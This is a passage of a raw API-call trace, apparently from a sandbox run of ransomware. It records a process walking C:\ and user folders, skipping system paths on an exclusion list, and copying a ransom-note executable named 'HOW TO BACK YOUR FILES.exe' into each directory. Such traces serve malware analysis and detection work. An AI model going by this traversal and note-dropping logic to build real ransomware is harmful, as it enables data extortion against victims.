	[0035.575] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1
	[0035.575] lstrcmpiW (lpString1="PerfLogs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.575] lstrcmpiW (lpString1="PerfLogs", lpString2="Apollon865.txt.exe") returned 1
	[0035.575] lstrcmpiW (lpString1="PerfLogs", lpString2=".") returned 1
	[0035.575] lstrcmpiW (lpString1="PerfLogs", lpString2="..") returned 1
	[0035.575] lstrcmpiW (lpString1="PerfLogs", lpString2="windows") returned -1
	[0035.576] lstrcmpiW (lpString1="PerfLogs", lpString2="bootmgr") returned 1
	[0035.576] lstrcmpiW (lpString1="PerfLogs", lpString2="temp") returned -1
	[0035.576] lstrcmpiW (lpString1="PerfLogs", lpString2="pagefile.sys") returned 1
	[0035.576] lstrcmpiW (lpString1="PerfLogs", lpString2="boot") returned 1
	[0035.576] lstrcmpiW (lpString1="PerfLogs", lpString2="ids.txt") returned 1
	[0035.576] lstrcmpiW (lpString1="PerfLogs", lpString2="ntuser.dat") returned 1
	[0035.576] lstrcmpiW (lpString1="PerfLogs", lpString2="perflogs") returned 0
	[0035.576] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x24432f60, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x24432f60, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0035.576] lstrcmpiW (lpString1="Program Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.576] lstrcmpiW (lpString1="Program Files", lpString2="Apollon865.txt.exe") returned 1
	[0035.576] lstrcmpiW (lpString1="Program Files", lpString2=".") returned 1
	[0035.576] lstrcmpiW (lpString1="Program Files", lpString2="..") returned 1
	[0035.576] lstrcmpiW (lpString1="Program Files", lpString2="windows") returned -1
	[0035.576] lstrcmpiW (lpString1="Program Files", lpString2="bootmgr") returned 1
	[0035.576] lstrcmpiW (lpString1="Program Files", lpString2="temp") returned -1
	[0035.576] lstrcmpiW (lpString1="Program Files", lpString2="pagefile.sys") returned 1
	[0035.576] lstrcmpiW (lpString1="Program Files", lpString2="boot") returned 1
	[0035.576] lstrcmpiW (lpString1="Program Files", lpString2="ids.txt") returned 1
	[0035.576] lstrcmpiW (lpString1="Program Files", lpString2="ntuser.dat") returned 1
	[0035.576] lstrcmpiW (lpString1="Program Files", lpString2="perflogs") returned 1
	[0035.576] lstrcmpiW (lpString1="Program Files", lpString2="MSBuild") returned 1
	[0035.576] lstrlenW (lpString="Program Files") returned 13
	[0035.576] lstrlenW (lpString="C:\\MSOCache") returned 11
	[0035.576] lstrcpyW (in: lpString1=0x119e60e, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files"
	[0035.576] SetFileAttributesW (lpFileName="C:\\Program Files", dwFileAttributes=0x10) returned 1
	[0035.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7788
	[0035.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x22) returned 0x5bed18
	[0035.576] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7790 | out: ListHead=0x5b75f0, ListEntry=0x5b7790) returned 0x5b7750
	[0035.576] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1
	[0035.576] lstrcmpiW (lpString1="Program Files (x86)", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.576] lstrcmpiW (lpString1="Program Files (x86)", lpString2="Apollon865.txt.exe") returned 1
	[0035.577] lstrcmpiW (lpString1="Program Files (x86)", lpString2=".") returned 1
	[0035.577] lstrcmpiW (lpString1="Program Files (x86)", lpString2="..") returned 1
	[0035.577] lstrcmpiW (lpString1="Program Files (x86)", lpString2="windows") returned -1
	[0035.577] lstrcmpiW (lpString1="Program Files (x86)", lpString2="bootmgr") returned 1
	[0035.577] lstrcmpiW (lpString1="Program Files (x86)", lpString2="temp") returned -1
	[0035.577] lstrcmpiW (lpString1="Program Files (x86)", lpString2="pagefile.sys") returned 1
	[0035.577] lstrcmpiW (lpString1="Program Files (x86)", lpString2="boot") returned 1
	[0035.577] lstrcmpiW (lpString1="Program Files (x86)", lpString2="ids.txt") returned 1
	[0035.577] lstrcmpiW (lpString1="Program Files (x86)", lpString2="ntuser.dat") returned 1
	[0035.577] lstrcmpiW (lpString1="Program Files (x86)", lpString2="perflogs") returned 1
	[0035.577] lstrcmpiW (lpString1="Program Files (x86)", lpString2="MSBuild") returned 1
	[0035.577] lstrlenW (lpString="Program Files (x86)") returned 19
	[0035.577] lstrlenW (lpString="C:\\Program Files") returned 16
	[0035.577] lstrcpyW (in: lpString1=0x119e60e, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)"
	[0035.577] SetFileAttributesW (lpFileName="C:\\Program Files (x86)", dwFileAttributes=0x10) returned 1
	[0035.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b77a8
	[0035.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2e) returned 0x5b7d80
	[0035.577] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b77b0 | out: ListHead=0x5b75f0, ListEntry=0x5b77b0) returned 0x5b7790
	[0035.577] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2a843a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2a843a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1
	[0035.577] lstrcmpiW (lpString1="ProgramData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.577] lstrcmpiW (lpString1="ProgramData", lpString2="Apollon865.txt.exe") returned 1
	[0035.577] lstrcmpiW (lpString1="ProgramData", lpString2=".") returned 1
	[0035.577] lstrcmpiW (lpString1="ProgramData", lpString2="..") returned 1
	[0035.577] lstrcmpiW (lpString1="ProgramData", lpString2="windows") returned -1
	[0035.577] lstrcmpiW (lpString1="ProgramData", lpString2="bootmgr") returned 1
	[0035.577] lstrcmpiW (lpString1="ProgramData", lpString2="temp") returned -1
	[0035.577] lstrcmpiW (lpString1="ProgramData", lpString2="pagefile.sys") returned 1
	[0035.577] lstrcmpiW (lpString1="ProgramData", lpString2="boot") returned 1
	[0035.577] lstrcmpiW (lpString1="ProgramData", lpString2="ids.txt") returned 1
	[0035.577] lstrcmpiW (lpString1="ProgramData", lpString2="ntuser.dat") returned 1
	[0035.578] lstrcmpiW (lpString1="ProgramData", lpString2="perflogs") returned 1
	[0035.578] lstrcmpiW (lpString1="ProgramData", lpString2="MSBuild") returned 1
	[0035.578] lstrlenW (lpString="ProgramData") returned 11
	[0035.578] lstrlenW (lpString="C:\\Program Files (x86)") returned 22
	[0035.578] lstrcpyW (in: lpString1=0x119e60e, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData"
	[0035.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b77c8
	[0035.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x1e) returned 0x5978d0
	[0035.578] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b77d0 | out: ListHead=0x5b75f0, ListEntry=0x5b77d0) returned 0x5b77b0
	[0035.578] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
	[0035.578] lstrcmpiW (lpString1="Recovery", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.578] lstrcmpiW (lpString1="Recovery", lpString2="Apollon865.txt.exe") returned 1
	[0035.578] lstrcmpiW (lpString1="Recovery", lpString2=".") returned 1
	[0035.578] lstrcmpiW (lpString1="Recovery", lpString2="..") returned 1
	[0035.578] lstrcmpiW (lpString1="Recovery", lpString2="windows") returned -1
	[0035.578] lstrcmpiW (lpString1="Recovery", lpString2="bootmgr") returned 1
	[0035.578] lstrcmpiW (lpString1="Recovery", lpString2="temp") returned -1
	[0035.578] lstrcmpiW (lpString1="Recovery", lpString2="pagefile.sys") returned 1
	[0035.578] lstrcmpiW (lpString1="Recovery", lpString2="boot") returned 1
	[0035.578] lstrcmpiW (lpString1="Recovery", lpString2="ids.txt") returned 1
	[0035.578] lstrcmpiW (lpString1="Recovery", lpString2="ntuser.dat") returned 1
	[0035.578] lstrcmpiW (lpString1="Recovery", lpString2="perflogs") returned 1
	[0035.578] lstrcmpiW (lpString1="Recovery", lpString2="MSBuild") returned 1
	[0035.578] lstrlenW (lpString="Recovery") returned 8
	[0035.578] lstrlenW (lpString="C:\\ProgramData") returned 14
	[0035.578] lstrcpyW (in: lpString1=0x119e60e, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery"
	[0035.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b77e8
	[0035.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x18) returned 0x5b7808
	[0035.578] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b77f0 | out: ListHead=0x5b75f0, ListEntry=0x5b77f0) returned 0x5b77d0
	[0035.578] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1
	[0035.578] lstrcmpiW (lpString1="System Volume Information", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.578] lstrcmpiW (lpString1="System Volume Information", lpString2="Apollon865.txt.exe") returned 1
	[0035.578] lstrcmpiW (lpString1="System Volume Information", lpString2=".") returned 1
	[0035.578] lstrcmpiW (lpString1="System Volume Information", lpString2="..") returned 1
	[0035.578] lstrcmpiW (lpString1="System Volume Information", lpString2="windows") returned -1
	[0035.578] lstrcmpiW (lpString1="System Volume Information", lpString2="bootmgr") returned 1
	[0035.578] lstrcmpiW (lpString1="System Volume Information", lpString2="temp") returned -1
	[0035.578] lstrcmpiW (lpString1="System Volume Information", lpString2="pagefile.sys") returned 1
	[0035.578] lstrcmpiW (lpString1="System Volume Information", lpString2="boot") returned 1
	[0035.579] lstrcmpiW (lpString1="System Volume Information", lpString2="ids.txt") returned 1
	[0035.579] lstrcmpiW (lpString1="System Volume Information", lpString2="ntuser.dat") returned 1
	[0035.579] lstrcmpiW (lpString1="System Volume Information", lpString2="perflogs") returned 1
	[0035.579] lstrcmpiW (lpString1="System Volume Information", lpString2="MSBuild") returned 1
	[0035.579] lstrlenW (lpString="System Volume Information") returned 25
	[0035.579] lstrlenW (lpString="C:\\Recovery") returned 11
	[0035.579] lstrcpyW (in: lpString1=0x119e60e, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information"
	[0035.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7828
	[0035.579] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b5e90
	[0035.579] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7830 | out: ListHead=0x5b75f0, ListEntry=0x5b7830) returned 0x5b77f0
	[0035.579] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1
	[0035.579] lstrcmpiW (lpString1="Users", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.579] lstrcmpiW (lpString1="Users", lpString2="Apollon865.txt.exe") returned 1
	[0035.579] lstrcmpiW (lpString1="Users", lpString2=".") returned 1
	[0035.579] lstrcmpiW (lpString1="Users", lpString2="..") returned 1
	[0035.579] lstrcmpiW (lpString1="Users", lpString2="windows") returned -1
	[0035.579] lstrcmpiW (lpString1="Users", lpString2="bootmgr") returned 1
	[0035.579] lstrcmpiW (lpString1="Users", lpString2="temp") returned 1
	[0035.579] lstrcmpiW (lpString1="Users", lpString2="pagefile.sys") returned 1
	[0035.579] lstrcmpiW (lpString1="Users", lpString2="boot") returned 1
	[0035.579] lstrcmpiW (lpString1="Users", lpString2="ids.txt") returned 1
	[0035.579] lstrcmpiW (lpString1="Users", lpString2="ntuser.dat") returned 1
	[0035.579] lstrcmpiW (lpString1="Users", lpString2="perflogs") returned 1
	[0035.579] lstrcmpiW (lpString1="Users", lpString2="MSBuild") returned 1
	[0035.579] lstrlenW (lpString="Users") returned 5
	[0035.579] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0035.579] lstrcpyW (in: lpString1=0x119e60e, lpString2="Users" | out: lpString1="Users") returned="Users"
	[0035.579] SetFileAttributesW (lpFileName="C:\\Users", dwFileAttributes=0x10) returned 1
	[0035.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7848
	[0035.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x12) returned 0x5b7868
	[0035.580] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7850 | out: ListHead=0x5b75f0, ListEntry=0x5b7850) returned 0x5b7830
	[0035.580] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0035.580] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.580] lstrcmpiW (lpString1="Windows", lpString2="Apollon865.txt.exe") returned 1
	[0035.580] lstrcmpiW (lpString1="Windows", lpString2=".") returned 1
	[0035.580] lstrcmpiW (lpString1="Windows", lpString2="..") returned 1
	[0035.580] lstrcmpiW (lpString1="Windows", lpString2="windows") returned 0
	[0035.580] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0
	[0035.580] FindClose (in: hFindFile=0x5ca010 | out: hFindFile=0x5ca010) returned 1
	[0035.580] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7850
	[0035.580] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users", iMaxLength=260 | out: lpString1="C:\\Users") returned="C:\\Users"
	[0035.580] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7868 | out: hHeap=0x580000) returned 1
	[0035.580] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7848 | out: hHeap=0x580000) returned 1
	[0035.580] lstrlenW (lpString="C:\\Users") returned 8
	[0035.580] lstrcatW (in: lpString1="", lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users"
	[0035.580] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0035.580] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0035.617] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0035.617] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2d8053f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d8053f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca0d0
	[0035.618] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.618] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0035.618] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0035.618] FindNextFileW (in: hFindFile=0x5ca0d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2d8053f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d8053f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0035.618] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.618] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0035.618] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0035.618] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0035.618] FindNextFileW (in: hFindFile=0x5ca0d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1
	[0035.618] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.618] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="Apollon865.txt.exe") returned -1
	[0035.618] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2=".") returned 1
	[0035.618] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="..") returned 1
	[0035.618] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="windows") returned -1
	[0035.618] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="bootmgr") returned -1
	[0035.618] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="temp") returned -1
	[0035.618] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="pagefile.sys") returned -1
	[0035.618] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="boot") returned -1
	[0035.618] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="ids.txt") returned -1
	[0035.618] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="ntuser.dat") returned -1
	[0035.618] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="perflogs") returned -1
	[0035.618] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="MSBuild") returned -1
	[0035.618] lstrlenW (lpString="5p5NrGJn0jS HALPmcxz") returned 20
	[0035.618] lstrlenW (lpString="C:\\Users\\*") returned 10
	[0035.618] lstrcpyW (in: lpString1=0x119e61a, lpString2="5p5NrGJn0jS HALPmcxz" | out: lpString1="5p5NrGJn0jS HALPmcxz") returned="5p5NrGJn0jS HALPmcxz"
	[0035.618] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79c8
	[0035.618] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3c) returned 0x5b5f68
	[0035.618] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79d0 | out: ListHead=0x5b75f0, ListEntry=0x5b79d0) returned 0x5b7830
	[0035.618] FindNextFileW (in: hFindFile=0x5ca0d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1
	[0035.618] lstrcmpiW (lpString1="All Users", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.618] lstrcmpiW (lpString1="All Users", lpString2="Apollon865.txt.exe") returned -1
	[0035.618] lstrcmpiW (lpString1="All Users", lpString2=".") returned 1
	[0035.618] lstrcmpiW (lpString1="All Users", lpString2="..") returned 1
	[0035.618] lstrcmpiW (lpString1="All Users", lpString2="windows") returned -1
	[0035.619] lstrcmpiW (lpString1="All Users", lpString2="bootmgr") returned -1
	[0035.619] lstrcmpiW (lpString1="All Users", lpString2="temp") returned -1
	[0035.619] lstrcmpiW (lpString1="All Users", lpString2="pagefile.sys") returned -1
	[0035.619] lstrcmpiW (lpString1="All Users", lpString2="boot") returned -1
	[0035.619] lstrcmpiW (lpString1="All Users", lpString2="ids.txt") returned -1
	[0035.619] lstrcmpiW (lpString1="All Users", lpString2="ntuser.dat") returned -1
	[0035.619] lstrcmpiW (lpString1="All Users", lpString2="perflogs") returned -1
	[0035.619] lstrcmpiW (lpString1="All Users", lpString2="MSBuild") returned -1
	[0035.619] lstrlenW (lpString="All Users") returned 9
	[0035.619] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 29
	[0035.619] lstrcpyW (in: lpString1=0x119e61a, lpString2="All Users" | out: lpString1="All Users") returned="All Users"
	[0035.619] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79e8
	[0035.619] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x26) returned 0x5beda8
	[0035.619] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79f0 | out: ListHead=0x5b75f0, ListEntry=0x5b79f0) returned 0x5b79d0
	[0035.619] FindNextFileW (in: hFindFile=0x5ca0d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1
	[0035.619] lstrcmpiW (lpString1="Default", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.619] lstrcmpiW (lpString1="Default", lpString2="Apollon865.txt.exe") returned 1
	[0035.619] lstrcmpiW (lpString1="Default", lpString2=".") returned 1
	[0035.619] lstrcmpiW (lpString1="Default", lpString2="..") returned 1
	[0035.619] lstrcmpiW (lpString1="Default", lpString2="windows") returned -1
	[0035.619] lstrcmpiW (lpString1="Default", lpString2="bootmgr") returned 1
	[0035.619] lstrcmpiW (lpString1="Default", lpString2="temp") returned -1
	[0035.619] lstrcmpiW (lpString1="Default", lpString2="pagefile.sys") returned -1
	[0035.619] lstrcmpiW (lpString1="Default", lpString2="boot") returned 1
	[0035.619] lstrcmpiW (lpString1="Default", lpString2="ids.txt") returned -1
	[0035.619] lstrcmpiW (lpString1="Default", lpString2="ntuser.dat") returned -1
	[0035.619] lstrcmpiW (lpString1="Default", lpString2="perflogs") returned -1
	[0035.619] lstrcmpiW (lpString1="Default", lpString2="MSBuild") returned -1
	[0035.619] lstrlenW (lpString="Default") returned 7
	[0035.619] lstrlenW (lpString="C:\\Users\\All Users") returned 18
	[0035.619] lstrcpyW (in: lpString1=0x119e61a, lpString2="Default" | out: lpString1="Default") returned="Default"
	[0035.619] SetFileAttributesW (lpFileName="C:\\Users\\Default", dwFileAttributes=0x12) returned 1
	[0035.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a08
	[0035.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x22) returned 0x5bedd8
	[0035.620] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a10 | out: ListHead=0x5b75f0, ListEntry=0x5b7a10) returned 0x5b79f0
	[0035.620] FindNextFileW (in: hFindFile=0x5ca0d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1
